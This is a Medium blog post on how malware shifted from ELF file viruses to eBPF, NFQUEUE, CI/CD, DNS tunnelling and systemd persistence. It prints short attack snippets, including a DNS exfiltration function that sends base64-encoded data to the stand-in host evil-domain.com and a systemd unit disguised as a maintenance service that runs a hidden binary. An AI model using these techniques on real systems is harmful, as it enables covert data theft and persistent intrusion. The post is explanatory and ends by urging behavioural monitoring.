The Evolution of Malware

The first viruses targeting ELF files (the primary format for executable files under UNIX) were first detected in the late 1990s, and their population now numbers in the hundreds.

By default, UNIX prohibits the modification of executable files, and successful virus propagation is only possible at the root level, which is either assigned to the infected file by an administrator or seized by the virus itself through vulnerabilities in the system kernel. With the right access control policy and prompt application of patches, the threat of viral infection is minimized. And the days of widespread software sharing are long gone — no one copies binaries from each other anymore, downloading everything directly from the internet. Even if a virus manages to infect the main server, it won’t go beyond the first generation.

File viruses are no longer relevant, and the absence of major outbreaks confirms this. But the accumulated methods of infiltration haven’t gone anywhere — without them, the lifespan of Trojans and remote administration systems would be short. Gaining root access is just the beginning. A hacker needs to establish a foothold in the system, clinging to anything that moves, but even then they cannot be sure that a backup won’t bury their efforts.

It is believed that viruses that infiltrate source code are more resilient. In reality — they are not. Source code is needed by only a few, and programmers have long been using version control systems. Attempts to infect Linux and Apache source code fail spectacularly.

The same applies to viruses in interpreted scripts — bash, Python, PHP, and others. Scripts are ubiquitous in UNIX; modifying them is allowed, but no one shares them. Therefore, viruses remain inside the infected computer, unable to escape.

Of course, a virus can spread over the Internet, but then it is no longer a virus, but a worm — and that is a different story.

WHERE DID THE VIRUSES GO?

And this is where things get really interesting. While classic ELF viruses are dying out like mammoths, their concepts live on in far more sophisticated forms. A modern attacker won’t tamper with the .text segment of a binary; instead, they’ll embed themselves in the system so that while you’re watching the processes, they’ll be watching you right back.

Whereas viruses used to latch onto files, they now latch onto system behavior. For example, via eBPF — that very “secure” mechanism that kernel marketers tout as a miracle. But give the attacker root access — and they turn eBPF into the perfect post-exploitation tool: intercepting syscalls, hiding network activity, filtering logs on the fly.

And the funniest part is — all of this happens not somewhere in the underground, but using the very same mechanisms that developers use for monitoring and debugging. In other words, the attacker doesn’t just infiltrate the system — they do it using the system’s own tools. They don’t break the rules of the game; they play by them, just a bit more aggressively and cleverly. And when you open `bpftool prog show`, you see exactly what they want you to see. Everything else quietly lives in the shadows of the kernel.

At the same time, viruses have ceased to be something that “sticks” to a binary; they have become something that grows into the infrastructure. They embed themselves in network stacks, in pipelines, in CI/CD, in containers, in service meshes.

A modern virus leaves no traces on the disk; it leaves traces in behavior: strange timings, unexpected system calls, anomalous DNS requests, processes that “sleep” too long, and containers that “die” too quickly.

And the worst part is — the virus doesn’t have to be monolithic. It can be distributed, like a cloud. One component sits in eBPF, another in NFQUEUE, a third in CI/CD, and a fourth in the Kubernetes admission controller. Kill one — the rest keep on living. This is no longer a virus in the classical sense. It’s an ecosystem that uses your infrastructure as its own organism.

HOW IT LOOKS IN REALITY:

To understand just how far modern malware has come, you only need to look at what it looks like in the code. Not in theory, but in reality — in the form of small snippets that seem almost innocent but do things that would have left old ELF viruses speechless.

eBPF: Something in the Kernel
This snippet doesn’t break the system, doesn’t rewrite binaries, and leaves no traces. It simply sits in a kprobe and pretends it isn’t there. But at the same time, it neatly cuts out of the logs everything the attacker doesn’t like.

SEC("kprobe/tcp_connect")
int hide_connect(struct pt_regs *ctx) {
struct sock *sk = (struct sock *)PT_REGS_PARM1(ctx);
u16 dport = BPF_CORE_READ(sk, __sk_common.skc_dport);

if (dport == bpf_htons(443)) {
return 0;
}

return 1;
}

NFQUEUE: A Network Editor

Just one line of iptables — and all outgoing HTTP traffic ends up in the hands of an attacker:

iptables -I OUTPUT -p tcp --dport 80 -j NFQUEUE --queue-num 666

And next up is a Python script that replaces the contents of packages on the fly:

from netfilterqueue import NetfilterQueue
from scapy.all import *

def modify(pkt):
sc = IP(pkt.get_payload())
if sc.haslayer(HTTP):
sc[HTTP].User_Agent = "Mozilla/5.0 (Totally Legit)"
del sc[IP].chksum
del sc[TCP].chksum
pkt.set_payload(bytes(sc))
pkt.accept()

nfq = NetfilterQueue()
nfq.bind(666, modify)
nfq.run()

CI/CD: A Threat in the Supply Chain

Here’s what happens when an attacker gains access to your pipeline:

steps:
- name: Build
run: |
gcc app.c -o app

- name: Inject payload
run: |
echo "malicious payload" >> app

- name: Upload artifact
uses: actions/upload-artifact@v3
with:
name: app
path: ./app

The victim downloads the “virus” themselves. It’s not a malicious file — it’s a malicious process.

DNS tunnel:

import dns.resolver
import base64

def exfil(data):
chunk = base64.b64encode(data.encode()).decode()
domain = f"{chunk}.evil-domain.com"
try:
dns.resolver.resolve(domain, "A")
except:
pass

exfil("secret_token=12345")

The antivirus detects a DNS request. Zeek detects an anomaly. And the attacker sees a communication channel.

systemd:

[Unit]
Description=systemd-tmpfiles-clean
After=network.target

[Service]
Type=simple
ExecStart=/usr/local/bin/.hidden_service
Restart=always

[Install]
WantedBy=multi-user.target

This is not a virus. It is a stable, persistent component that is integrated into the system and continues to function regardless of system restarts or standard maintenance procedures.

File viruses are dead.But their spirit lives on more vividly than anything else.

It has simply moved on:

— from ELF to eBPF,

— from binaries to pipelines,

— from disk to network,

— from the file system to behavior,

— from local machines to the cloud.

A modern virus is not a file.

It is a system state.

And you don’t fight it with antivirus software, but with monitoring, telemetry, behavioral analysis, supply chain control, and paranoia elevated to the level of engineering art. Because viruses haven’t disappeared. They’ve simply stopped being files.


The Evolution of Malware was originally published in OSINT Team on Medium, where people are continuing the conversation by highlighting and responding to this story.

Leave a Comment

❤️ Help Fight Human Trafficking
Support Larry Cameron's mission — 20,000+ victims rescued